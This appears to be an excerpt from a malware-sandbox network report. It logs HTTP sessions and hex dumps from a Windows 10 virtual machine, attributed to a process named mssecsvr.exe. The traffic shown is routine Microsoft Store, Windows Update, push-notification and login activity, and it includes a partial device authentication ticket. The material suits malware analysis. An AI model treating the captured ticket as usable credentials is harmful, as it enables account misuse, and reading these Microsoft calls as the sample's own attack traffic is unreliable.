2022-07-20 13:45:13 UTC	8472	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224437Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:13 UTC	8472	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 43a6800e-9115-4b53-960e-dbebd18e15e4 Date: Wed, 20 Jul 2022 13:45:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.7	52804	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:13 UTC	8472	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224438Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:13 UTC	8473	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 291aa97b-ee0e-4416-9e1f-7459af9fc64d Date: Wed, 20 Jul 2022 13:45:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.7	52803	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:14 UTC	8473	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:14 UTC	8474	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 0a32fb2f-da95-4d31-94d3-319018755dcf MS-RequestId: f012d181-d00e-497c-bc0e-0ab124da0f2d MS-CV: 4jELjD4+Z0m+a+1I.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:13 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:14 UTC	8475	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:14 UTC	8490	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:14 UTC	8506	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.7	52807	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:14 UTC	8473	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224440Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:14 UTC	8474	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: db92b5e7-174f-4295-b65c-d6876cb3e0eb Date: Wed, 20 Jul 2022 13:45:14 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.7	52863	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:14 UTC	8510	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224447Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:14 UTC	8510	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 0bc403b3-a925-4103-9c99-44418a0cecc1 Date: Wed, 20 Jul 2022 13:45:14 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.7	52861	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:15 UTC	8511	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:15 UTC	8511	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 950b568f-abe8-49b5-81e5-2563d5bf8dfc MS-RequestId: efdbdaa2-fca9-49ab-95aa-730059e0af30 MS-CV: GyKZQgU9eEGHSsHA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:14 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:15 UTC	8511	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:15 UTC	8527	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:15 UTC	8543	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.7	52978	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:16 UTC	8546	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224448Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:17 UTC	8547	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2fbac32c-7610-4dc8-b3b8-72b011917a28 Date: Wed, 20 Jul 2022 13:45:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.7	52979	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:17 UTC	8547	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:17 UTC	8550	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 MS-CorrelationId: e2121c4f-0d90-4929-b7b2-5c39ba151e81 MS-RequestId: 81c195bd-5dcd-474e-9c58-2926fa001a11 MS-CV: qSZr92Oy70CEra8J.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:16 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:17 UTC	8550	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:17 UTC	8566	IN	Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>7Go?j=
2022-07-20 13:45:17 UTC	8582	IN	Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.7	52986	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:17 UTC	8548	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224448Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:17 UTC	8550	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 03ed0e01-885e-4664-a888-c7aec5c727e7 Date: Wed, 20 Jul 2022 13:45:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.7	52987	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:17 UTC	8548	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 35 61 35 36 63 39 62 37 61 61 61 65 66 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 755a56c9b7aaaef0
2022-07-20 13:45:17 UTC	8548	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:45:17 UTC	8548	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 35 61 35 36 63 39 62 37 61 61 61 65 66 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: 755a56c9b7aaaef0<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:45:17 UTC	8549	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 35 61 35 36 63 39 62 37 61 61 61 65 66 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 755a56c9b7aaaef0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:45:17 UTC	8550	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:45:17 UTC	8550	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 36 68 62 7a 35 58 36 48 6b 61 4a 39 43 68 6c 45 71 73 6d 4b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 86hbz5X6HkaJ9ChlEqsmKg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	50218	20.190.159.72	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:48 UTC	77	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
